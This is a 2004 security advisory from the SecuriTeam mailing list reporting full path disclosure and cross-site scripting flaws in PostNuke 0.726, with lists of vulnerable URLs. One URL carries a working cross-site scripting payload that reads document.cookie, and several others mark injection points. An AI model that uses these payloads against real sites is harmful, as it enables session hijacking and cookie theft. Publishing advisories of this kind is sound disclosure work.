[UNIX] Multiple Vulnerabilities in PostNuke Phoenix

From: SecuriTeam (support_at_securiteam.com)
Date: 04/28/04


To: list@securiteam.com
Date: 28 Apr 2004 18:24:47 +0200

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  Multiple Vulnerabilities in PostNuke Phoenix
------------------------------------------------------------------------

SUMMARY

" <http://noc.postnuke.com/> PostNuke is an open source, open developement
content management system (CMS). PostNuke started as a fork from PHPNuke
(http://www.phpnuke.org) and provides many enhancements and improvements
over the PHP-Nuke system. PostNuke is still undergoing development but a
large number of core functions are now stabilising and a complete API for
third-party developers is now in place."

The vulnerabilities found in PostNuke Phoenix are full path disclosure and
cross-site scripting.

DETAILS

Vulnerable Systems:
 * PostNuke version 0.726 (Phoenix)

Full Path Disclosure
All blocks in the '/include/blocks/' directory reveal their true path if
they are access directly (without the proper parameters).

Example:
Accessing the following URL:
http://localhost/postnuke0726/includes/blocks/finclude.php, will reveal:
Fatal error: Call to undefined function: pnsecaddschema() in
D:\apache_wwwroot\postnuke0726\includes\blocks\finclude.php on line 44

Other scripts are also vulnerable:
http://localhost/postnuke0726/pnadodb/drivers/adodb-access.inc.php
http://localhost/postnuke0726/modules/NS-NewUser/user.php
http://localhost/postnuke0726/modules/NS-Your_Account/user/links/links.changehome.php
http://localhost/postnuke0726/modules/NS-Your_Account/user/case/case.changehome.php?op=edithome
http://localhost/postnuke0726/modules/NS-LostPassword/user.php
http://localhost/postnuke0726/modules/NS-Multisites/chgtheme.inc.php
http://localhost/postnuke0726/modules/NS-Multisites/head.inc.php
http://localhost/postnuke0726/modules/NS-Multisites/print.inc.php
http://localhost/postnuke0726/modules/NS-User/tools.php
http://localhost/postnuke0726/modules/NS-User/user.php

Cross-site Scripting
The following XSS attacks are only possible if PostNuke has been made to
use its anti-filtering. Accessing any of the below URLs will trigger the
execution of the [xss code here] block.
http://localhost/postnuke0726/modules.php?op=modload&name=Downloads&file=index&req=ratedownload&ttitle=x&lid=>[xss code here]
http://localhost/postnuke0726/modules.php?op=modload&name=Downloads&file=index&req=search&query=>[xss code here]
http://localhost/postnuke0726/modules.php?op=modload&name=Web_Links&file=index&req=search&query=>[xss code here]
http://localhost/postnuke0726/javascript/openwindow.php?hlpfile=x><body>[xss code here]
http://localhost/postnuke0726/javascript/openwindow.php?hlpfile=x><body%20onload=alert(document.cookie);>

ADDITIONAL INFORMATION

The information has been provided by <mailto:come2waraxe@yahoo.com> Janek
Vind.

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In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



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